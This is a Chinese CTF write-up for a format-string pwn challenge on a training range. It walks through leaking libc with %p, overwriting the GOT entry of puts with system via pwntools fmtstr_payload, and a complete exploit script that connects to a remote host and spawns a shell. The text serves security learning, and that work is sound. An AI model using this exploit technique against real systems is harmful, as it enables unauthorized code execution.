i春秋·网络内生安全训练场 pwn Car Search System

原创

i春秋·网络内生安全训练场

pwn Car Search System

memcpy是memory copy的缩写，意为内存复制，在写C语言程序的时候，我们常常会用到它。它的函原型如下：

```
void *memcpy(void *dest, const void *src, size_t n);
```

它的功能是从src的开始位置拷贝n个字节的数据到dest。如果dest存在数据，将会被覆盖。memcpy函数的返回值是dest的指针。memcpy函数定义在string.h头文件里。

首先我们进行gdb调试

我们可以发现format的地址

那么，怎样发现呢，我们可以使用%{}$x 和栈上的进行比较，即可得到
之后我们发现libc_start_main_ 地址

该程序为32位程序

则偏移为：

0xffffceec-0xffffce00 = 236/4 = 59

那么偏移为59

之后就可以查找libc版本

貌似是第一个

`fmtstr_payload(offset, {address: value})`

对于上面那个方法

可以自动生成修改GOT表的payload

第一个参数 `offset` 用 `autofmt.offset` 算好的即可. 然后, 我们需要声明 `{address: value}` 来覆盖address的内容成对应的value. 我们还可以同时改写多个地址: `{address1: value1, address2:value2,..., address: valueN}`.

注意：！！！！

关于找到offset

那个offset为我们字符串进入的那个栈的位置，那个栈的位置是在

format的高地址处，

1.我们可以通过调试来获取offset

我们输入AAAA%30$p

0x41414141转化为字符串为AAAA，那么我们就可以说从format偏移30哥后即为我们的字符串进入的地方

我们可以找到开头后，在栈中一个一个的找，去找offset。。。

或者输入AAAA%x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x

这种来一个一个找

2.方法二

pwntools提供了一个`FmtStr`类，供我们获取offset

我们需要先构造一个可以接收我们输入并返回格式化字符串输出的函数. 接着，我们可以得到 `autofmt`. 这个对象包含 `offset`, 即算好的偏移量

```
def exec_fmt(payload):
    p =process(program)
    p.sendline(payload)
    return p.recvall()
```

```
autofmt =FmtStr(exec_fmt)
offset =autofmt.offset
```

这样就可以自动获取offset

最好用第一种方法

之后我们去修改v7的值，我们可以通过指向v7的指针v8来修改

我们可以使用%n

我们先找到v8的偏移，之后就可以使用%n来修改了

我们通过gdb查找栈来找指针的offset

第一个oxff

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-p49CHAl5-1575204731296)(C:\Users\Administrator\AppData\Roaming\Typora\typora-user-images\1575089957819.png)]

即为我们要找的指针变量V8

一般为这个为什么是我还得再进一步思索，，

附上我们的exp（膜拜pumkin9大佬）

```
#coding=utf-8
from pwn import *

p = remote('120.55.43.255',11001)

elf = ELF("./pwn")

lib = ELF("./libc6-i386_2.23-0ubuntu10_amd64.so")

p.recvuntil("Plz input the car ID your want to search:(or input 'exit' to leave\n")
```

```
payload1 = '%59$p'

p.sendline(payload1)

lib_ret = p.recvline()

offset___libc_start_main_ret = 0x18637

offset_system = 0x0003ada0                          #这里的偏移量pwntools查找的与libc-database中的不同

offset_str_bin_sh = 0x15ba0b

libc =  int(lib_ret.strip("\n"),16) - offset___libc_start_main_ret

system = libc+lib.symbols['system']
#print(system)

binsh = libc + offset_str_bin_sh
'''
p.recvuntil("leave\n")
def exec_fmt(payload):
 p =process("./pwn")
 p.sendline(payload)
 return p.recvall()
autofmt =FmtStr(exec_fmt)
offset =autofmt.offset
print(offset)
'''
p.recvuntil("leave\n")

payload2 = fmtstr_payload(30,{elf.got["puts"]:system})        #计算出偏移，然后将puts的got表地址改为system地址

p.sendline(payload2)

p.recvuntil("leave\n")                                      #修改v8这个指针，将这个指针所指的变量值修改

payload3 = "%51$p"

p.sendline(payload3)

point = int(p.recvline().strip("\n"),16)

p.recvuntil("leave\n")

payload4 = p32(point) + "%98c%30$hhn"

p.sendline(payload4)
'''
p.recvuntil("ar in 7 day")

p.sendline("/bin/sh/")
'''
p.sendlineafter("ar in 7 day","/bin/sh\x00")

p.interactive()
```